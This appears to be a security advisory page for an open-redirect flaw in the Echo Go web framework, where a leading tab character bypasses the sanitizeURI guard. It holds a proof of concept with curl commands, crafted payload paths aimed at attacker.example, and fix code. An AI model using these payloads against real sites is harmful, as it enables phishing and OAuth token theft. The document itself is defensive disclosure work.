Echo has Open Redirect via Control-Character Prefix Defeating sanitizeURI
Impact
Echo versions 5.0.0 to 5.4.0 and 4.16.0 and earlier have an open redirect vulnerability via a control-character prefix, allowing an attacker to craft a link that redirects victims to an arbitrary site. The attacker must have the ability to influence the redirect target.
Summarized by @cf/meta/llama-3.3-70b-instruct-fp8-fast. Verify details against the original sources.What to do
Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
| Affected range | Recorded fix |
|---|---|
| Earlier releases before 5.4.0Semantic versions | 5.4.0 |
Version evidence: OSV · GHSA-v753-g4cw-jm48
View original version evidence (0 explicit versions)
| Affected range | Recorded fix |
|---|---|
| Earlier releases before 4.16.0Semantic versions | 4.16.0 |
Version evidence: OSV · GHSA-v753-g4cw-jm48
View original version evidence (0 explicit versions)
Affected products
Vendor version evidence. Product records are separate from automatic dependency matching.
labstack · GitHub_M
echo
2 ranges
labstack · GitHub_M
echo
Compare with this publisher’s ranges. This does not inspect your installation.
affected
>= 5.0.0, < 5.4.0
< 4.16.0
Other versions: unknown
Original source description
Summary
Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.
Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.
Technical background
The guard
middleware/slash.go:144 (duplicated verbatim at echo.go:958):
func sanitizeURI(uri string) string {
// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
uri = "/" + strings.TrimLeft(uri, `/\`)
}
return uri
}
The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.
Data flow
RemoveTrailingSlash(middleware/slash.go:112-140) readsurl.Path, whichnet/httphas already percent-decoded, strips the trailing slash, and appends the raw query string:
path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
path = path[:l]
uri := path
if qs != "" {
uri += "?" + qs
}
if config.RedirectCode != 0 {
return c.Redirect(config.RedirectCode, sanitizeURI(uri)) // line 132
}
-
AddTrailingSlashdoes the same in the opposite direction atmiddleware/slash.go:67. -
A request for
/%09/attacker.example/x/hasurl.Pathequal to"/\t/attacker.example/x/"(a literal TAB byte).sanitizeURIevaluatesuri[0] == '\t', the condition is false, and the value passes through untouched. -
Context.Redirect(context.go:735) writes it to theLocationheader. Go's header writer removes CR and LF but leaves TAB, which is all that is required.
Conditional analysis
- Guard:
uri[0]anduri[1]are separators. Trust boundary: server-side sanitization of attacker-influenced path data. - Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (
uri[1]being a separator) is never reached because the first condition (uri[0]being a separator) already failed. - Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed
Location.
Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.
Proof of concept
Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow
ECHO-2026-002/README.md for the full walkthrough. The archive contains a
self-contained Go module (go.mod, go.sum, main.go, README.md).
Quick start:
unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run . # in-process check
GOFLAGS=-mod=mod go run . -serve # real listener on 127.0.0.1:18002
Environment used for verification
- OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64
- Go: go1.27.0 linux/amd64
- Target: Echo v5.3.1 (module
github.com/labstack/echo/v5) - Browser: headless Chromium drove the end-to-end confirmation
The vulnerable configuration
package main
import (
"net/http"
"github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
RedirectCode: http.StatusMovedPermanently,
}))
e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
_ = e.Start("127.0.0.1:18002")
}
Reproduction
In-process check. The program requests five path shapes and applies the browser
URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a
leading // starts an authority):
GOFLAGS=-mod=mod go run .
GET code Location (control chars shown) browser navigates to
/normal/path/ 301 /normal/path (victim origin)
control: ordinary path, sanitized correctly
/%09/attacker.example/x/ 301 /^I/attacker.example/x attacker.example
exploit: TAB then slash
/%09%5Cattacker.example/x/ 301 /^I\attacker.example/x attacker.example
exploit: TAB then backslash
/..%09/attacker.example/ 301 /..^I/attacker.example (victim origin)
NOT exploitable: TAB is not at index 1
/%09//attacker.example/ 301 /^I//attacker.example (victim origin)
NOT exploitable: three slashes is an empty authority
RESULT: reproducible. ...
^I is a literal TAB byte. The last two rows are deliberate negatives, included
so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.
Over the wire, with the -serve variant running on 127.0.0.1:18002:
- Show the malformed
Locationon the wire. No backslash is needed for this variant:
curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x
cat -A renders the tab as ^I, confirming it is a literal byte in the header.
- Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:
curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x (net/http rewrote LF to a space)
- Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:
http://127.0.0.1:18002/%09/127.0.0.1:18099/x/
Observed in headless Chromium:
finalUrl: http://127.0.0.1:18099/x
The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.
Exit status 0 means the finding reproduced; 1 means an expectation was
violated.
Impact
An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:
- Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice.
- OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens.
- Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.
The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.
Recommended fixes
Normalize before deciding, instead of probing two fixed offsets.
func sanitizeURI(uri string) string {
// Strip control characters that browsers remove before parsing, so they cannot
// be used to shift a separator out of the checked positions.
uri = strings.Map(func(r rune) rune {
if r < 0x20 || r == 0x7f {
return -1
}
return r
}, uri)
// Collapse any leading separator run (both slash kinds) to a single slash.
if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) {
trimmed := strings.TrimLeft(uri, `/\`)
if len(trimmed) != len(uri) {
return "/" + trimmed
}
}
return uri
}
Additional hardening:
- Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.
- Apply the same normalization to the
Locationvalue inContext.Redirectso every caller benefits, instead of relying on each call site to callsanitizeURI. - Add a regression test for each variant (
%09/,%09%5C,%0A/) against both trailing-slash middlewares. There is currently no test that assertssanitizeURIbehavior at all.
Patches
Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.
Workarounds
Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.
Inside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
CVE-2026-118656View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.
cve.new JSON →Underlying weaknesses
The source’s classification of what caused the vulnerability.
Contributing organizations · 2
Assigning organization
Additional data publisher
What changed
Follow changes- CVE · CVE-2026-118656
Observed 2026-10-29T17:51:09.031Z · upstream updated 2026-10-29T17:23:39.728Z
Prioritization updated
before
[]
after
[ { "source": "CISA-ADP", "type": "SSVC", "role": "CISA Coordinator", "timestamp": "2026-10-29T15:29:15.771728Z", "decisions": [ { "name": "Exploitation", "value": "none" }, { "name": "Automatable", "value": "no" }, { "name": "Technical Impact", "value": "partial" } ] } ]
Large field values are marked as truncated previews. Original source snapshots remain retained.
Showing up to 50 most recent observed changes.